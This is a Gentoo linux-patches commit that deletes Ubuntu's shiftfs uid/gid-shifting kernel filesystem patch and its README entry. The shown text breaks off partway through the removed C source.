1 |
commit: 0a06433fb4a1c7576591d46661bc9e1308d17e59 |
2 |
Author: Mike Pagano <mpagano <AT> gentoo <DOT> org> |
3 |
AuthorDate: Fri Mar 3 13:00:38 2023 +0000 |
4 |
Commit: Mike Pagano <mpagano <AT> gentoo <DOT> org> |
5 |
CommitDate: Fri Mar 3 13:00:38 2023 +0000 |
6 |
URL: https://gitweb.gentoo.org/proj/linux-patches.git/commit/?id=0a06433f |
7 |
|
8 |
Remove shiftfs until I fix the patch |
9 |
|
10 |
Signed-off-by: Mike Pagano <mpagano <AT> gentoo.org> |
11 |
|
12 |
0000_README | 4 - |
13 |
5000_shiftfs-6.1-2023-01-31.patch | 6554 ------------------------------------- |
14 |
2 files changed, 6558 deletions(-) |
15 |
|
16 |
diff --git a/0000_README b/0000_README |
17 |
index 328fcd23..dca64867 100644 |
18 |
--- a/0000_README |
19 |
+++ b/0000_README |
20 |
@@ -147,10 +147,6 @@ Patch: 4567_distro-Gentoo-Kconfig.patch |
21 |
From: Tom Wijsman <TomWij@g.o> |
22 |
Desc: Add Gentoo Linux support config settings and defaults. |
23 |
|
24 |
-Patch: 5000_shiftfs-6.1-2023-01-31.patch |
25 |
-From: https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/unstable |
26 |
-Desc: Kernel module that provides a kernel filesystem for uid/gid shifting |
27 |
- |
28 |
Patch: 5010_enable-cpu-optimizations-universal.patch |
29 |
From: https://github.com/graysky2/kernel_compiler_patch |
30 |
Desc: Kernel >= 5.15 patch enables gcc = v11.1+ optimizations for additional CPUs. |
31 |
|
32 |
diff --git a/5000_shiftfs-6.1-2023-01-31.patch b/5000_shiftfs-6.1-2023-01-31.patch |
33 |
deleted file mode 100644 |
34 |
index a5b40429..00000000 |
35 |
--- a/5000_shiftfs-6.1-2023-01-31.patch |
36 |
+++ /dev/null |
37 |
@@ -1,6554 +0,0 @@ |
38 |
-From b554e3101fdc94969141491a4234b3c931683b5c Mon Sep 17 00:00:00 2001 |
39 |
-From: James Bottomley <James.Bottomley@×××××××××××××××××.com> |
40 |
-Date: Thu, 4 Apr 2019 15:39:11 +0200 |
41 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: uid/gid shifting bind mount |
42 |
-Cc: mpagano@g.o |
43 |
- |
44 |
-BugLink: https://bugs.launchpad.net/bugs/1823186 |
45 |
- |
46 |
-This allows any subtree to be uid/gid shifted and bound elsewhere. It |
47 |
-does this by operating simlarly to overlayfs. Its primary use is for |
48 |
-shifting the underlying uids of filesystems used to support |
49 |
-unpriviliged (uid shifted) containers. The usual use case here is |
50 |
-that the container is operating with an uid shifted unprivileged root |
51 |
-but sometimes needs to make use of or work with a filesystem image |
52 |
-that has root at real uid 0. |
53 |
- |
54 |
-The mechanism is to allow any subordinate mount namespace to mount a |
55 |
-shiftfs filesystem (by marking it FS_USERNS_MOUNT) but only allowing |
56 |
-it to mount marked subtrees (using the -o mark option as root). Once |
57 |
-mounted, the subtree is mapped via the super block user namespace so |
58 |
-that the interior ids of the mounting user namespace are the ids |
59 |
-written to the filesystem. |
60 |
- |
61 |
-Signed-off-by: James Bottomley <James.Bottomley@×××××××××××××××××.com> |
62 |
-[ saf: use designated initializers for path declarations to fix errors |
63 |
- with struct randomization ] |
64 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
65 |
-[update: port to 5.0] |
66 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
67 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
68 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
69 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
70 |
---- |
71 |
- fs/Kconfig | 8 + |
72 |
- fs/Makefile | 1 + |
73 |
- fs/shiftfs.c | 780 +++++++++++++++++++++++++++++++++++++ |
74 |
- include/uapi/linux/magic.h | 2 + |
75 |
- 4 files changed, 791 insertions(+) |
76 |
- create mode 100644 fs/shiftfs.c |
77 |
- |
78 |
-diff --git a/fs/Kconfig b/fs/Kconfig |
79 |
-index 2685a4d0d353..b53bece1e940 100644 |
80 |
---- a/fs/Kconfig |
81 |
-+++ b/fs/Kconfig |
82 |
-@@ -128,6 +128,14 @@ source "fs/autofs/Kconfig" |
83 |
- source "fs/fuse/Kconfig" |
84 |
- source "fs/overlayfs/Kconfig" |
85 |
- |
86 |
-+config SHIFT_FS |
87 |
-+ tristate "UID/GID shifting overlay filesystem for containers" |
88 |
-+ help |
89 |
-+ This filesystem can overlay any mounted filesystem and shift |
90 |
-+ the uid/gid the files appear at. The idea is that |
91 |
-+ unprivileged containers can use this to mount root volumes |
92 |
-+ using this technique. |
93 |
-+ |
94 |
- menu "Caches" |
95 |
- |
96 |
- source "fs/netfs/Kconfig" |
97 |
-diff --git a/fs/Makefile b/fs/Makefile |
98 |
-index 4dea17840761..628632dcb9b1 100644 |
99 |
---- a/fs/Makefile |
100 |
-+++ b/fs/Makefile |
101 |
-@@ -137,3 +137,4 @@ obj-$(CONFIG_EFIVAR_FS) += efivarfs/ |
102 |
- obj-$(CONFIG_EROFS_FS) += erofs/ |
103 |
- obj-$(CONFIG_VBOXSF_FS) += vboxsf/ |
104 |
- obj-$(CONFIG_ZONEFS_FS) += zonefs/ |
105 |
-+obj-$(CONFIG_SHIFT_FS) += shiftfs.o |
106 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
107 |
-new file mode 100644 |
108 |
-index 000000000000..f7cada126daa |
109 |
---- /dev/null |
110 |
-+++ b/fs/shiftfs.c |
111 |
-@@ -0,0 +1,780 @@ |
112 |
-+#include <linux/cred.h> |
113 |
-+#include <linux/mount.h> |
114 |
-+#include <linux/file.h> |
115 |
-+#include <linux/fs.h> |
116 |
-+#include <linux/namei.h> |
117 |
-+#include <linux/module.h> |
118 |
-+#include <linux/kernel.h> |
119 |
-+#include <linux/magic.h> |
120 |
-+#include <linux/parser.h> |
121 |
-+#include <linux/seq_file.h> |
122 |
-+#include <linux/statfs.h> |
123 |
-+#include <linux/slab.h> |
124 |
-+#include <linux/user_namespace.h> |
125 |
-+#include <linux/uidgid.h> |
126 |
-+#include <linux/xattr.h> |
127 |
-+ |
128 |
-+struct shiftfs_super_info { |
129 |
-+ struct vfsmount *mnt; |
130 |
-+ struct user_namespace *userns; |
131 |
-+ bool mark; |
132 |
-+}; |
133 |
-+ |
134 |
-+static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode, |
135 |
-+ struct dentry *dentry); |
136 |
-+ |
137 |
-+enum { |
138 |
-+ OPT_MARK, |
139 |
-+ OPT_LAST, |
140 |
-+}; |
141 |
-+ |
142 |
-+/* global filesystem options */ |
143 |
-+static const match_table_t tokens = { |
144 |
-+ { OPT_MARK, "mark" }, |
145 |
-+ { OPT_LAST, NULL } |
146 |
-+}; |
147 |
-+ |
148 |
-+static const struct cred *shiftfs_get_up_creds(struct super_block *sb) |
149 |
-+{ |
150 |
-+ struct shiftfs_super_info *ssi = sb->s_fs_info; |
151 |
-+ struct cred *cred = prepare_creds(); |
152 |
-+ |
153 |
-+ if (!cred) |
154 |
-+ return NULL; |
155 |
-+ |
156 |
-+ cred->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, cred->fsuid)); |
157 |
-+ cred->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, cred->fsgid)); |
158 |
-+ put_user_ns(cred->user_ns); |
159 |
-+ cred->user_ns = get_user_ns(ssi->userns); |
160 |
-+ |
161 |
-+ return cred; |
162 |
-+} |
163 |
-+ |
164 |
-+static const struct cred *shiftfs_new_creds(const struct cred **newcred, |
165 |
-+ struct super_block *sb) |
166 |
-+{ |
167 |
-+ const struct cred *cred = shiftfs_get_up_creds(sb); |
168 |
-+ |
169 |
-+ *newcred = cred; |
170 |
-+ |
171 |
-+ if (cred) |
172 |
-+ cred = override_creds(cred); |
173 |
-+ else |
174 |
-+ printk(KERN_ERR "shiftfs: Credential override failed: no memory\n"); |
175 |
-+ |
176 |
-+ return cred; |
177 |
-+} |
178 |
-+ |
179 |
-+static void shiftfs_old_creds(const struct cred *oldcred, |
180 |
-+ const struct cred **newcred) |
181 |
-+{ |
182 |
-+ if (!*newcred) |
183 |
-+ return; |
184 |
-+ |
185 |
-+ revert_creds(oldcred); |
186 |
-+ put_cred(*newcred); |
187 |
-+} |
188 |
-+ |
189 |
-+static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options) |
190 |
-+{ |
191 |
-+ char *p; |
192 |
-+ substring_t args[MAX_OPT_ARGS]; |
193 |
-+ |
194 |
-+ ssi->mark = false; |
195 |
-+ |
196 |
-+ while ((p = strsep(&options, ",")) != NULL) { |
197 |
-+ int token; |
198 |
-+ |
199 |
-+ if (!*p) |
200 |
-+ continue; |
201 |
-+ |
202 |
-+ token = match_token(p, tokens, args); |
203 |
-+ switch (token) { |
204 |
-+ case OPT_MARK: |
205 |
-+ ssi->mark = true; |
206 |
-+ break; |
207 |
-+ default: |
208 |
-+ return -EINVAL; |
209 |
-+ } |
210 |
-+ } |
211 |
-+ return 0; |
212 |
-+} |
213 |
-+ |
214 |
-+static void shiftfs_d_release(struct dentry *dentry) |
215 |
-+{ |
216 |
-+ struct dentry *real = dentry->d_fsdata; |
217 |
-+ |
218 |
-+ dput(real); |
219 |
-+} |
220 |
-+ |
221 |
-+static struct dentry *shiftfs_d_real(struct dentry *dentry, |
222 |
-+ const struct inode *inode) |
223 |
-+{ |
224 |
-+ struct dentry *real = dentry->d_fsdata; |
225 |
-+ |
226 |
-+ if (unlikely(real->d_flags & DCACHE_OP_REAL)) |
227 |
-+ return real->d_op->d_real(real, real->d_inode); |
228 |
-+ |
229 |
-+ return real; |
230 |
-+} |
231 |
-+ |
232 |
-+static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags) |
233 |
-+{ |
234 |
-+ struct dentry *real = dentry->d_fsdata; |
235 |
-+ |
236 |
-+ if (d_unhashed(real)) |
237 |
-+ return 0; |
238 |
-+ |
239 |
-+ if (!(real->d_flags & DCACHE_OP_WEAK_REVALIDATE)) |
240 |
-+ return 1; |
241 |
-+ |
242 |
-+ return real->d_op->d_weak_revalidate(real, flags); |
243 |
-+} |
244 |
-+ |
245 |
-+static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags) |
246 |
-+{ |
247 |
-+ struct dentry *real = dentry->d_fsdata; |
248 |
-+ int ret; |
249 |
-+ |
250 |
-+ if (d_unhashed(real)) |
251 |
-+ return 0; |
252 |
-+ |
253 |
-+ /* |
254 |
-+ * inode state of underlying changed from positive to negative |
255 |
-+ * or vice versa; force a lookup to update our view |
256 |
-+ */ |
257 |
-+ if (d_is_negative(real) != d_is_negative(dentry)) |
258 |
-+ return 0; |
259 |
-+ |
260 |
-+ if (!(real->d_flags & DCACHE_OP_REVALIDATE)) |
261 |
-+ return 1; |
262 |
-+ |
263 |
-+ ret = real->d_op->d_revalidate(real, flags); |
264 |
-+ |
265 |
-+ if (ret == 0 && !(flags & LOOKUP_RCU)) |
266 |
-+ d_invalidate(real); |
267 |
-+ |
268 |
-+ return ret; |
269 |
-+} |
270 |
-+ |
271 |
-+static const struct dentry_operations shiftfs_dentry_ops = { |
272 |
-+ .d_release = shiftfs_d_release, |
273 |
-+ .d_real = shiftfs_d_real, |
274 |
-+ .d_revalidate = shiftfs_d_revalidate, |
275 |
-+ .d_weak_revalidate = shiftfs_d_weak_revalidate, |
276 |
-+}; |
277 |
-+ |
278 |
-+static int shiftfs_readlink(struct dentry *dentry, char __user *data, |
279 |
-+ int flags) |
280 |
-+{ |
281 |
-+ struct dentry *real = dentry->d_fsdata; |
282 |
-+ const struct inode_operations *iop = real->d_inode->i_op; |
283 |
-+ |
284 |
-+ if (iop->readlink) |
285 |
-+ return iop->readlink(real, data, flags); |
286 |
-+ |
287 |
-+ return -EINVAL; |
288 |
-+} |
289 |
-+ |
290 |
-+static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode, |
291 |
-+ struct delayed_call *done) |
292 |
-+{ |
293 |
-+ if (dentry) { |
294 |
-+ struct dentry *real = dentry->d_fsdata; |
295 |
-+ struct inode *reali = real->d_inode; |
296 |
-+ const struct inode_operations *iop = reali->i_op; |
297 |
-+ const char *res = ERR_PTR(-EPERM); |
298 |
-+ |
299 |
-+ if (iop->get_link) |
300 |
-+ res = iop->get_link(real, reali, done); |
301 |
-+ |
302 |
-+ return res; |
303 |
-+ } else { |
304 |
-+ /* RCU lookup not supported */ |
305 |
-+ return ERR_PTR(-ECHILD); |
306 |
-+ } |
307 |
-+} |
308 |
-+ |
309 |
-+static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode, |
310 |
-+ const char *name, const void *value, |
311 |
-+ size_t size, int flags) |
312 |
-+{ |
313 |
-+ struct dentry *real = dentry->d_fsdata; |
314 |
-+ int err = -EOPNOTSUPP; |
315 |
-+ const struct cred *oldcred, *newcred; |
316 |
-+ |
317 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
318 |
-+ err = vfs_setxattr(real, name, value, size, flags); |
319 |
-+ shiftfs_old_creds(oldcred, &newcred); |
320 |
-+ |
321 |
-+ return err; |
322 |
-+} |
323 |
-+ |
324 |
-+static int shiftfs_xattr_get(const struct xattr_handler *handler, |
325 |
-+ struct dentry *dentry, struct inode *inode, |
326 |
-+ const char *name, void *value, size_t size) |
327 |
-+{ |
328 |
-+ struct dentry *real = dentry->d_fsdata; |
329 |
-+ int err; |
330 |
-+ const struct cred *oldcred, *newcred; |
331 |
-+ |
332 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
333 |
-+ err = vfs_getxattr(real, name, value, size); |
334 |
-+ shiftfs_old_creds(oldcred, &newcred); |
335 |
-+ |
336 |
-+ return err; |
337 |
-+} |
338 |
-+ |
339 |
-+static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list, |
340 |
-+ size_t size) |
341 |
-+{ |
342 |
-+ struct dentry *real = dentry->d_fsdata; |
343 |
-+ int err; |
344 |
-+ const struct cred *oldcred, *newcred; |
345 |
-+ |
346 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
347 |
-+ err = vfs_listxattr(real, list, size); |
348 |
-+ shiftfs_old_creds(oldcred, &newcred); |
349 |
-+ |
350 |
-+ return err; |
351 |
-+} |
352 |
-+ |
353 |
-+static int shiftfs_removexattr(struct dentry *dentry, const char *name) |
354 |
-+{ |
355 |
-+ struct dentry *real = dentry->d_fsdata; |
356 |
-+ int err; |
357 |
-+ const struct cred *oldcred, *newcred; |
358 |
-+ |
359 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
360 |
-+ err = vfs_removexattr(real, name); |
361 |
-+ shiftfs_old_creds(oldcred, &newcred); |
362 |
-+ |
363 |
-+ return err; |
364 |
-+} |
365 |
-+ |
366 |
-+static int shiftfs_xattr_set(const struct xattr_handler *handler, |
367 |
-+ struct dentry *dentry, struct inode *inode, |
368 |
-+ const char *name, const void *value, size_t size, |
369 |
-+ int flags) |
370 |
-+{ |
371 |
-+ if (!value) |
372 |
-+ return shiftfs_removexattr(dentry, name); |
373 |
-+ return shiftfs_setxattr(dentry, inode, name, value, size, flags); |
374 |
-+} |
375 |
-+ |
376 |
-+static void shiftfs_fill_inode(struct inode *inode, struct dentry *dentry) |
377 |
-+{ |
378 |
-+ struct inode *reali; |
379 |
-+ |
380 |
-+ if (!dentry) |
381 |
-+ return; |
382 |
-+ |
383 |
-+ reali = dentry->d_inode; |
384 |
-+ |
385 |
-+ if (!reali->i_op->get_link) |
386 |
-+ inode->i_opflags |= IOP_NOFOLLOW; |
387 |
-+ |
388 |
-+ inode->i_mapping = reali->i_mapping; |
389 |
-+ inode->i_private = dentry; |
390 |
-+} |
391 |
-+ |
392 |
-+static int shiftfs_make_object(struct inode *dir, struct dentry *dentry, |
393 |
-+ umode_t mode, const char *symlink, |
394 |
-+ struct dentry *hardlink, bool excl) |
395 |
-+{ |
396 |
-+ struct dentry *real = dir->i_private, *new = dentry->d_fsdata; |
397 |
-+ struct inode *reali = real->d_inode, *newi; |
398 |
-+ const struct inode_operations *iop = reali->i_op; |
399 |
-+ int err; |
400 |
-+ const struct cred *oldcred, *newcred; |
401 |
-+ bool op_ok = false; |
402 |
-+ |
403 |
-+ if (hardlink) { |
404 |
-+ op_ok = iop->link; |
405 |
-+ } else { |
406 |
-+ switch (mode & S_IFMT) { |
407 |
-+ case S_IFDIR: |
408 |
-+ op_ok = iop->mkdir; |
409 |
-+ break; |
410 |
-+ case S_IFREG: |
411 |
-+ op_ok = iop->create; |
412 |
-+ break; |
413 |
-+ case S_IFLNK: |
414 |
-+ op_ok = iop->symlink; |
415 |
-+ } |
416 |
-+ } |
417 |
-+ if (!op_ok) |
418 |
-+ return -EINVAL; |
419 |
-+ |
420 |
-+ |
421 |
-+ newi = shiftfs_new_inode(dentry->d_sb, mode, NULL); |
422 |
-+ if (!newi) |
423 |
-+ return -ENOMEM; |
424 |
-+ |
425 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
426 |
-+ |
427 |
-+ inode_lock_nested(reali, I_MUTEX_PARENT); |
428 |
-+ |
429 |
-+ err = -EINVAL; /* shut gcc up about uninit var */ |
430 |
-+ if (hardlink) { |
431 |
-+ struct dentry *realhardlink = hardlink->d_fsdata; |
432 |
-+ |
433 |
-+ err = vfs_link(realhardlink, reali, new, NULL); |
434 |
-+ } else { |
435 |
-+ switch (mode & S_IFMT) { |
436 |
-+ case S_IFDIR: |
437 |
-+ err = vfs_mkdir(reali, new, mode); |
438 |
-+ break; |
439 |
-+ case S_IFREG: |
440 |
-+ err = vfs_create(reali, new, mode, excl); |
441 |
-+ break; |
442 |
-+ case S_IFLNK: |
443 |
-+ err = vfs_symlink(reali, new, symlink); |
444 |
-+ } |
445 |
-+ } |
446 |
-+ |
447 |
-+ shiftfs_old_creds(oldcred, &newcred); |
448 |
-+ |
449 |
-+ if (err) |
450 |
-+ goto out_dput; |
451 |
-+ |
452 |
-+ shiftfs_fill_inode(newi, new); |
453 |
-+ |
454 |
-+ d_instantiate(dentry, newi); |
455 |
-+ |
456 |
-+ new = NULL; |
457 |
-+ newi = NULL; |
458 |
-+ |
459 |
-+ out_dput: |
460 |
-+ dput(new); |
461 |
-+ iput(newi); |
462 |
-+ inode_unlock(reali); |
463 |
-+ |
464 |
-+ return err; |
465 |
-+} |
466 |
-+ |
467 |
-+static int shiftfs_create(struct inode *dir, struct dentry *dentry, |
468 |
-+ umode_t mode, bool excl) |
469 |
-+{ |
470 |
-+ mode |= S_IFREG; |
471 |
-+ |
472 |
-+ return shiftfs_make_object(dir, dentry, mode, NULL, NULL, excl); |
473 |
-+} |
474 |
-+ |
475 |
-+static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry, |
476 |
-+ umode_t mode) |
477 |
-+{ |
478 |
-+ mode |= S_IFDIR; |
479 |
-+ |
480 |
-+ return shiftfs_make_object(dir, dentry, mode, NULL, NULL, false); |
481 |
-+} |
482 |
-+ |
483 |
-+static int shiftfs_link(struct dentry *hardlink, struct inode *dir, |
484 |
-+ struct dentry *dentry) |
485 |
-+{ |
486 |
-+ return shiftfs_make_object(dir, dentry, 0, NULL, hardlink, false); |
487 |
-+} |
488 |
-+ |
489 |
-+static int shiftfs_symlink(struct inode *dir, struct dentry *dentry, |
490 |
-+ const char *symlink) |
491 |
-+{ |
492 |
-+ return shiftfs_make_object(dir, dentry, S_IFLNK, symlink, NULL, false); |
493 |
-+} |
494 |
-+ |
495 |
-+static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
496 |
-+{ |
497 |
-+ struct dentry *real = dir->i_private, *new = dentry->d_fsdata; |
498 |
-+ struct inode *reali = real->d_inode; |
499 |
-+ int err; |
500 |
-+ const struct cred *oldcred, *newcred; |
501 |
-+ |
502 |
-+ inode_lock_nested(reali, I_MUTEX_PARENT); |
503 |
-+ |
504 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
505 |
-+ |
506 |
-+ if (rmdir) |
507 |
-+ err = vfs_rmdir(reali, new); |
508 |
-+ else |
509 |
-+ err = vfs_unlink(reali, new, NULL); |
510 |
-+ |
511 |
-+ shiftfs_old_creds(oldcred, &newcred); |
512 |
-+ inode_unlock(reali); |
513 |
-+ |
514 |
-+ return err; |
515 |
-+} |
516 |
-+ |
517 |
-+static int shiftfs_unlink(struct inode *dir, struct dentry *dentry) |
518 |
-+{ |
519 |
-+ return shiftfs_rm(dir, dentry, false); |
520 |
-+} |
521 |
-+ |
522 |
-+static int shiftfs_rmdir(struct inode *dir, struct dentry *dentry) |
523 |
-+{ |
524 |
-+ return shiftfs_rm(dir, dentry, true); |
525 |
-+} |
526 |
-+ |
527 |
-+static int shiftfs_rename(struct inode *olddir, struct dentry *old, |
528 |
-+ struct inode *newdir, struct dentry *new, |
529 |
-+ unsigned int flags) |
530 |
-+{ |
531 |
-+ struct dentry *rodd = olddir->i_private, *rndd = newdir->i_private, |
532 |
-+ *realold = old->d_fsdata, |
533 |
-+ *realnew = new->d_fsdata, *trap; |
534 |
-+ struct inode *realolddir = rodd->d_inode, *realnewdir = rndd->d_inode; |
535 |
-+ int err = -EINVAL; |
536 |
-+ const struct cred *oldcred, *newcred; |
537 |
-+ |
538 |
-+ trap = lock_rename(rndd, rodd); |
539 |
-+ |
540 |
-+ if (trap == realold || trap == realnew) |
541 |
-+ goto out_unlock; |
542 |
-+ |
543 |
-+ oldcred = shiftfs_new_creds(&newcred, old->d_sb); |
544 |
-+ |
545 |
-+ err = vfs_rename(realolddir, realold, realnewdir, |
546 |
-+ realnew, NULL, flags); |
547 |
-+ |
548 |
-+ shiftfs_old_creds(oldcred, &newcred); |
549 |
-+ |
550 |
-+ out_unlock: |
551 |
-+ unlock_rename(rndd, rodd); |
552 |
-+ |
553 |
-+ return err; |
554 |
-+} |
555 |
-+ |
556 |
-+static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry, |
557 |
-+ unsigned int flags) |
558 |
-+{ |
559 |
-+ struct dentry *real = dir->i_private, *new; |
560 |
-+ struct inode *reali = real->d_inode, *newi; |
561 |
-+ const struct cred *oldcred, *newcred; |
562 |
-+ |
563 |
-+ inode_lock(reali); |
564 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
565 |
-+ new = lookup_one_len(dentry->d_name.name, real, dentry->d_name.len); |
566 |
-+ shiftfs_old_creds(oldcred, &newcred); |
567 |
-+ inode_unlock(reali); |
568 |
-+ |
569 |
-+ if (IS_ERR(new)) |
570 |
-+ return new; |
571 |
-+ |
572 |
-+ dentry->d_fsdata = new; |
573 |
-+ |
574 |
-+ newi = NULL; |
575 |
-+ if (!new->d_inode) |
576 |
-+ goto out; |
577 |
-+ |
578 |
-+ newi = shiftfs_new_inode(dentry->d_sb, new->d_inode->i_mode, new); |
579 |
-+ if (!newi) { |
580 |
-+ dput(new); |
581 |
-+ return ERR_PTR(-ENOMEM); |
582 |
-+ } |
583 |
-+ |
584 |
-+ out: |
585 |
-+ return d_splice_alias(newi, dentry); |
586 |
-+} |
587 |
-+ |
588 |
-+static int shiftfs_permission(struct inode *inode, int mask) |
589 |
-+{ |
590 |
-+ struct dentry *real = inode->i_private; |
591 |
-+ struct inode *reali = real->d_inode; |
592 |
-+ const struct inode_operations *iop = reali->i_op; |
593 |
-+ int err; |
594 |
-+ const struct cred *oldcred, *newcred; |
595 |
-+ |
596 |
-+ if (mask & MAY_NOT_BLOCK) |
597 |
-+ return -ECHILD; |
598 |
-+ |
599 |
-+ oldcred = shiftfs_new_creds(&newcred, inode->i_sb); |
600 |
-+ if (iop->permission) |
601 |
-+ err = iop->permission(reali, mask); |
602 |
-+ else |
603 |
-+ err = generic_permission(reali, mask); |
604 |
-+ shiftfs_old_creds(oldcred, &newcred); |
605 |
-+ |
606 |
-+ return err; |
607 |
-+} |
608 |
-+ |
609 |
-+static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
610 |
-+{ |
611 |
-+ struct dentry *real = dentry->d_fsdata; |
612 |
-+ struct inode *reali = real->d_inode; |
613 |
-+ const struct inode_operations *iop = reali->i_op; |
614 |
-+ struct iattr newattr = *attr; |
615 |
-+ const struct cred *oldcred, *newcred; |
616 |
-+ struct super_block *sb = dentry->d_sb; |
617 |
-+ int err; |
618 |
-+ |
619 |
-+ newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid)); |
620 |
-+ newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid)); |
621 |
-+ |
622 |
-+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
623 |
-+ inode_lock(reali); |
624 |
-+ if (iop->setattr) |
625 |
-+ err = iop->setattr(real, &newattr); |
626 |
-+ else |
627 |
-+ err = simple_setattr(real, &newattr); |
628 |
-+ inode_unlock(reali); |
629 |
-+ shiftfs_old_creds(oldcred, &newcred); |
630 |
-+ |
631 |
-+ if (err) |
632 |
-+ return err; |
633 |
-+ |
634 |
-+ /* all OK, reflect the change on our inode */ |
635 |
-+ setattr_copy(d_inode(dentry), attr); |
636 |
-+ return 0; |
637 |
-+} |
638 |
-+ |
639 |
-+static int shiftfs_getattr(const struct path *path, struct kstat *stat, |
640 |
-+ u32 request_mask, unsigned int query_flags) |
641 |
-+{ |
642 |
-+ struct inode *inode = path->dentry->d_inode; |
643 |
-+ struct dentry *real = path->dentry->d_fsdata; |
644 |
-+ struct inode *reali = real->d_inode; |
645 |
-+ const struct inode_operations *iop = reali->i_op; |
646 |
-+ struct path newpath = { .mnt = path->dentry->d_sb->s_fs_info, .dentry = real }; |
647 |
-+ int err = 0; |
648 |
-+ |
649 |
-+ if (iop->getattr) |
650 |
-+ err = iop->getattr(&newpath, stat, request_mask, query_flags); |
651 |
-+ else |
652 |
-+ generic_fillattr(reali, stat); |
653 |
-+ |
654 |
-+ if (err) |
655 |
-+ return err; |
656 |
-+ |
657 |
-+ /* transform the underlying id */ |
658 |
-+ stat->uid = make_kuid(inode->i_sb->s_user_ns, __kuid_val(stat->uid)); |
659 |
-+ stat->gid = make_kgid(inode->i_sb->s_user_ns, __kgid_val(stat->gid)); |
660 |
-+ return 0; |
661 |
-+} |
662 |
-+ |
663 |
-+static const struct inode_operations shiftfs_inode_ops = { |
664 |
-+ .lookup = shiftfs_lookup, |
665 |
-+ .getattr = shiftfs_getattr, |
666 |
-+ .setattr = shiftfs_setattr, |
667 |
-+ .permission = shiftfs_permission, |
668 |
-+ .mkdir = shiftfs_mkdir, |
669 |
-+ .symlink = shiftfs_symlink, |
670 |
-+ .get_link = shiftfs_get_link, |
671 |
-+ .readlink = shiftfs_readlink, |
672 |
-+ .unlink = shiftfs_unlink, |
673 |
-+ .rmdir = shiftfs_rmdir, |
674 |
-+ .rename = shiftfs_rename, |
675 |
-+ .link = shiftfs_link, |
676 |
-+ .create = shiftfs_create, |
677 |
-+ .mknod = NULL, /* no special files currently */ |
678 |
-+ .listxattr = shiftfs_listxattr, |
679 |
-+}; |
680 |
-+ |
681 |
-+static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode, |
682 |
-+ struct dentry *dentry) |
683 |
-+{ |
684 |
-+ struct inode *inode; |
685 |
-+ |
686 |
-+ inode = new_inode(sb); |
687 |
-+ if (!inode) |
688 |
-+ return NULL; |
689 |
-+ |
690 |
-+ /* |
691 |
-+ * our inode is completely vestigial. All lookups, getattr |
692 |
-+ * and permission checks are done on the underlying inode, so |
693 |
-+ * what the user sees is entirely from the underlying inode. |
694 |
-+ */ |
695 |
-+ mode &= S_IFMT; |
696 |
-+ |
697 |
-+ inode->i_ino = get_next_ino(); |
698 |
-+ inode->i_mode = mode; |
699 |
-+ inode->i_flags |= S_NOATIME | S_NOCMTIME; |
700 |
-+ |
701 |
-+ inode->i_op = &shiftfs_inode_ops; |
702 |
-+ |
703 |
-+ shiftfs_fill_inode(inode, dentry); |
704 |
-+ |
705 |
-+ return inode; |
706 |
-+} |
707 |
-+ |
708 |
-+static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry) |
709 |
-+{ |
710 |
-+ struct super_block *sb = dentry->d_sb; |
711 |
-+ struct shiftfs_super_info *ssi = sb->s_fs_info; |
712 |
-+ |
713 |
-+ if (ssi->mark) |
714 |
-+ seq_show_option(m, "mark", NULL); |
715 |
-+ |
716 |
-+ return 0; |
717 |
-+} |
718 |
-+ |
719 |
-+static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf) |
720 |
-+{ |
721 |
-+ struct super_block *sb = dentry->d_sb; |
722 |
-+ struct shiftfs_super_info *ssi = sb->s_fs_info; |
723 |
-+ struct dentry *root = sb->s_root; |
724 |
-+ struct dentry *realroot = root->d_fsdata; |
725 |
-+ struct path realpath = { .mnt = ssi->mnt, .dentry = realroot }; |
726 |
-+ int err; |
727 |
-+ |
728 |
-+ err = vfs_statfs(&realpath, buf); |
729 |
-+ if (err) |
730 |
-+ return err; |
731 |
-+ |
732 |
-+ buf->f_type = sb->s_magic; |
733 |
-+ |
734 |
-+ return 0; |
735 |
-+} |
736 |
-+ |
737 |
-+static void shiftfs_put_super(struct super_block *sb) |
738 |
-+{ |
739 |
-+ struct shiftfs_super_info *ssi = sb->s_fs_info; |
740 |
-+ |
741 |
-+ mntput(ssi->mnt); |
742 |
-+ put_user_ns(ssi->userns); |
743 |
-+ kfree(ssi); |
744 |
-+} |
745 |
-+ |
746 |
-+static const struct xattr_handler shiftfs_xattr_handler = { |
747 |
-+ .prefix = "", |
748 |
-+ .get = shiftfs_xattr_get, |
749 |
-+ .set = shiftfs_xattr_set, |
750 |
-+}; |
751 |
